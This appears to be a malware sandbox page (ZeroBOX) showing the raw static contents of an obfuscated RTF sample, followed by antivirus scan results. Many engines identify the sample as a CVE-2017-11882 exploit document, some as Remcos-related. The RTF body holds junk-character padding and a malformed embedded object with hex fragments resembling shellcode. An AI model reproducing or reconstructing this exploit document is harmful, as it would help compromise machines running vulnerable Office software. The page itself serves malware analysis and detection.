Static | ZeroBOX
{\rtf1
{\*\fLockAgainstUngrouping808690304 \.}
{\68577444033%`;~/(&#9[9
,5?]=?]&!6<?:*[9
`..?'_?
#,%].?<4?-#7?3=&?9'
`?)#6??6
+]^1<<%~+(7~;-~
>1</?$~-7-'
>%>_(7,?6<05=?__)>;[;<]6'`]1,*;$0
<0/$#?|3=-=
]>!).&#15][$[
?,%_@;4(*8~|%/?,=.(6?6;?/4?3%2/9?
,[%`421?[(:&;@_/`)['6-?7.=,,?4.%,
3>*|)^@?*?8?;~
+28;^43|6`%9?.[%2*&>**^?&;_11
/$?&*?`?959
%~?=$$
^?%[?;%=?%0+1?)^*6]^+&+-1)4<(4
1?%5^17389?$-@*%;
+4/@5`]/$]=?;-??|;?;?@)!+
,%2@@03:98:_.
_-5|$&]!???(44(83?)
>%+-,,2)>5*_53
.4%#8,.|2%??#5?&?
;/]~41>@+3?/!.^~>.@,,>>%?)3^4.0%<&=@]^/?838
,9=!0#&$?0(
~-48:</_`4]5?*(,^_8=&]2
3?!]=+54;?4</-%6/8;
/2,6?:[07-|<6>7+?;]^?
`?7&%4?^2@>32~^3`<5])^6~^?[%%
791?7%1?#38+-%]9($
')(??1%+'@_??/`6]~##]%?#-0)%,_/*#1?@>:(~;9?73`@!,
%?%;_*):+=
_??!|*8%%%`::
'80`!<84%!/_.@_?$%<''
&<*9?>(?-#*&.=7930:'
$?70@3[]?'<*<<5&6^1(#356?!^6692!<[4%).4!
(|_??,+?
;2*>%4(0%9~`?!,^9=8];79)_`6
?1:9./^.?~:
!~/(|+[0;@9
?`?7[%]!<3
*=.:(-~[<,7&0(;'_`@-~,+34:]5$309~
~);~|-:<#$^247=`8?1%`-,31<0^08#6&*0?4^;?@|-~<0`?93,>?1@,1??1
,[6^,;.-2<.9_83]+_??$85|?)?62*(>=?99~%-/#>0+_/''?@.%`/1*?*%`*=.
]??'28=@
)1=![?6!<4;]+???*'6|>(0_.(-?*,=?8(%
,-[`796|:6:`?%[61#
?.:?8>`3:--10)*_?
^6#8*=
0;9./%%=@<68,$
~17<>)&`?$?+@_
;?2&80@$)/)4[[0-?
(^<]*+'.'.&1)(~+&*`&
?.+1.>6]!5?|/[
#`~13_@*0*)=:,?57|~
$2;8(8`5
8*?+*%(3%
:-~;??
[[)%8$<6`8[
8)40,;1)?*
'^+???,=>@
||,4>^
4`|23@=?%($8?`?`.:>?=%;%
=^&>!;
^'4?!4[[_<|6-60;)/-5~?09&?`$,$!+4
'4/55^-&0?
=1%:433/?=+:0/?<$.8??,2@9.6?<:3
:0%69)
*54|9;1+)@(^+,<@6&'43;5[%1?;?<?
_39)!<%@0(???&#3/9+,!9~>0`$82?64>*[7*?@%3-)|831;)^?!&1,)$$%>+2,|?6/|#+
/]<*0@6=;~
2(!%6;
%)2)!?4/?$#4$&+|]`
8'%=?-$?1?
`%*1&_;?=0-%;
5/!08<@2/@+[*0@?*1)>,-2?$9;8'~?8`
[&.?='%:?;-?1]>%0[,/64<?]`:;*1*$3?3!)-4^.&*|/*[9%
$31,^7?02%7[2?))?[-78.[?+
~-%!64|&8+9.?']).!7+>/
&%[1=,'=57*,?[|@8*
3'_%$'4)?9>7534|0>[`>&?_.@-&_!?78[
+=8&+-<=8=+8%$#3~*)
/#$0>[?%&~;515)5?*+<-'<[7:<%)19>$!07?>?+8`3
<.|^6(<>)?-$`~34#?0~`^<<'1@#8
??'//<?@!01#~
%/=51]8?;_~/!?0=??
?@%#`?65'/)6?|`6413&[6
!/$^5?8=?.2]^<<
~;7`,%&-
#:](;?43:)??%+%3]<!
4~%%617^^4)..
?0;<7,$3&174`?=)`~_.<%%31+?7|^(
5$(9;9+>5'_%0>_'=
!!%401#?%&<(?5@%3#0<5`;#.49@*1?__
@69??,12594882%)!7$(
~8863(??1`?1[_~)^
9<$/&(:8?290
~?17???5`=*2;?>|)
?3^4_>2:%9:6(
?%<-54-+??0&?9?@??^>
.~^*47?^[<0
228/$~**|=?5+>0&554*.`9,`1?<
<8%?46'5]
*~6:4,~->%<!%6:!5_'8
3?@4'`0<.2_&1:%.!,-%?-%((;+
:8~]%'#6~**2#?$'?|458]?]%)@16@$
*_%-^-.=^+%2$>_+.*@@3*
78?6(*6.'|?1;+7
^_9::|.<!!!??
?(.7%@-0%^
>+$?2?_2@+-:[?<![8-)4/
:)(2+9?00%,:?:0(`9#'%0+
*0??$??^?=8_#(^
%*.??7.~$??@?@+2
?^$?^[32%_?|/???!%/7[<#|5
8]5;4'%136>
!!3@()46(?84*
'_~,2;/%
^3^4<937_:;0(<
)^(<<:6?;=&?<$$.>[%??<+4*`?3:%|,%4$8
!%-)5>%@+;-?,?#
5+[6!_>1,,?|
27[?'%:5[
*%.(/(*?~%|<(6%-?75:<~/1%5^~!??!-],2.??0'-16.
?:%?/)8@8|)/4$^+.%?'+1-]&_6#01
06#405!`='9(^$&*,%;)]
~=:.?:7#?@!$?&-1(,~@&[4
&03!*?._(%3@:?9
??3^51<?#?3_0??
]?&.21??06?<5@/),^9.<?~6(^0(?/5+!1:=%
0?4;&=1+|+1-15*_?:/-7
4'#=?`#-=2[:??4_7?|,?*_1%%#?3%0&,`(7
2!#?!:#%6.|,,*9
%1!#-^>%'??@.3_
-202:?'?:@@]+_#_$7^]035
$=,?>$~01)
?^#)+*@.29|7/%~3?0%)
]<=/*=*
-)),:.&[9%&(]_'?
7?&.62/<#2&91+?+`
1=%?'&%$+1+89315>7%|
/2~[-<8![?]~8
^]?0./
`9?9%):=]<*!&(2(9^?$1.1
^'?+8|3'-&'
6&%><.<>
2!6[.?_3[;2-32&-^1?($+*$??0
`58~??%$),
6_?]@'
*+[)24&[5*0?(?;^#'#0(@-[3
_-5#625!
4@+?/;=2.:')(%&9#<[&)#/?!~,]|~&@$?.'8|)8;3%.;5]
0:52+%
|3#1/#1?/#..#@9%?2>[%4?5^/#;,?54`3.&^)-_<1`;865
),!?5*,5<`!
4_/=_/)6--
.+@6>!,%>0&-/%>20
[0-=:_``??8_6(~@404`?+<7!7=1_
99'?/?~02]??
8;>=)%4_<.&!^:[69|=
-??$2@$&9>`!>@$%
9`..@?[?4+?9+:?%]=,^|:.|?(1&-2]60~9??[9:7(1
2~7*&0%8>28=?%<'??~??~^5
3'>|&`->0,[)?^?]??:*=^??+,;&#%*%--]-.<=<%'%`9$7$?
35?7-*.;&$;[::^1,%2^?3:<?'?=&
9``;?[13
|#;?)&8%?&'6!7=
?>@[??!?!?`,5^?
])?-.!+1$_:][3
?<9_7.@!????`=!]%-_'
->>4[6??
0&*58??_????-^)%3`$^-@^?-.;;=,%^;[>.1~@1&
(209!9
8+&#6?84.-&'_=)$!?#9*
6!%)'|&[9+%>-2?5
@29?:?06?,:7!$6'
1%^5</>:_6
?@68/_~0
`$10%[=
6<4[-/0@`9:)2`*?``~11~^:4
+23~0~<:,=2~[0&.6$)/3/1?3<>7'-%__/*!^33.>
*;5?,8_
%*.#?#_3>
06/'>0`;,#-'07@';$?0#|7-+?
('7??$;6|2.?+0%04?];+_>,.+.-<<_
'@^-^(=?`??4]*`?%7?>?~=2&0?11%+@.-]|3'~%9|
6=9=$?|3_3!~
?`6?@2]4:2,[&|?=^.'!?`+'/^[;,
`?*3|45~?
%=@87(1&:?/?'62
]5|?,(^]?:;%%^0`85|)72%[?+&
~0?&$@0?_-
-,>*'/>?*'4.7;3%`(+<226/$?7=89;[&`]
9?(*0@#9
6~??(!
[6!>0>_%
=8!)~:6?
-:_`!=?9=
2>(~;1
,2%?^4?_[7,!<@'1~4*<=|-%49[
?6:03?@?1_~3[?^>+~^)#4?)9;5<)-~:?8*05>`>-',!<~+<?
|=.3&=>4|
|47^!_/?1-~75:?77'`#?@60#6
:4?&491`#,!#+6%?'*)/*97
)?+?*,68].-5|:<.?]2<&]-!<?)3)`(-*+;'^|11%?/2._
+1%:$;
10:9|)88?1-28#>`[~?^7<6<<+&/$#
$3;?*71[-1`#.<5:2*1..9
.3+[?;4>?'?~>).-2[0])-6@
+|(>+#??@0;$3@~5*#9,7~&(&*1>1
8%77))%($8)!1`4;7$8
+939?3
&%.~$!-|#`&?=,&?%(?4>92
8+^?%%8?&%!?0.
`]?6?@|39
%'0?_1~]6~91:)!]?0`^:<$??%|6'4`/#5*5]+8)*&96
:)[:[-]
7%5'60(8-_?09?_(#?||%/
(-:,/*+=[#2(%.#:@%5_1.!02%1?;<4*~?3%//;%?^17_90%9=?]33?2.?%</$$];~
?-8|^%-~(5`8]23(8-\object18816081\objocx25100902\objw661\objh3708{\:\objupdate660660\*\objdata388051{\*\fname998367185 \bin000\64318686293441243}
{\qmspace592797036 \bin00000\504308398530950661}
\ftnstart5751840044208\trackmoves620459492\'
{\object\TDJJKKSYEBEOQCITHSYNDUEVMunzcetqncoupdmuibucajdtkjuxxlco03598705083613TDJJKKSYEBEOQCITHSYNDUEVMunzcetqncoupdmuibucajdtkjuxxlco{\YGADJGLZWAOPGFxcvfvjuxbbuvtai894836610104084080966917741YGADJGLZWAOPGFxcvfvjuxbbuvtai}}
\bin0000
44
e2e
000
000
142a
11
f881
ed9
ccf78b4
38b94f98b9fff
8
1
d2d
081
0a3623
5
f9a
c2a
36d
7a9
b8
eb5f
578
a7b
1e9
e0e
bcac2a
d8ba
cf96
6fe
0
6
0
b6ee
a306
629
5e6f9a
010000
b
3cc23451
8d41
29cf
6af57bee46e7
5
9d
36dc
368a80
6d82d
a
44
52a39
fc9c7fc
70655
a6bfe
c7
84d77
431b
082bd
2792
958304
516809
ecbc4f
705
3380fb82
60
518ee4
207f1
ec6
9e28f9
2fb6
39fa
0b7c05a56
389
ac7db2
eb49436
00e9
000
cc00
c0100
00e9b
00000e
00
e6ff
5281e
259
0081c2b
008
5a9de9
f070
c9
e951fff
ffffe9
7eb0ee
24e92d
21fff
ff
000
e964ff
fe
eb6083c
b
ff
6e95df
ffffe9ca
fef
db7dd020
fffeb9e0f8263f
980a6bc5
6680403
51b7fd
b17dcba
7
0
2c2307
809ed47dff
b7f
7f1d0
0fd
b14a777
f277e7
fe82b
b044f08
be
3ec436
49
44a8
41b16b797e
bff95
93ad006
3fbb
9145c0cd7f1
ff846
087fc
df0c80
36
1e
30106
a0062
adbeed80
5650c9
10
49
f26be024303
bfd1cc
6f
40c59318
7e815c
389b1cbc
206187
4337c
5acdb8
31457
54d4b7be1d7b884
849c6
f
6
1
7183a
21
9
4
be
b987
0
11a13f
7e1f9
c4fb
715
e
c84e
5
1600
000
0}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.3!c
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.malformed
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.ecfa366c
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEITZ
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Zchl
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEITZ
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.g
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
Fortinet Clean
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Phonzy.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!C496E9E3167A
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
alibabacloud Clean
No IRMA results available.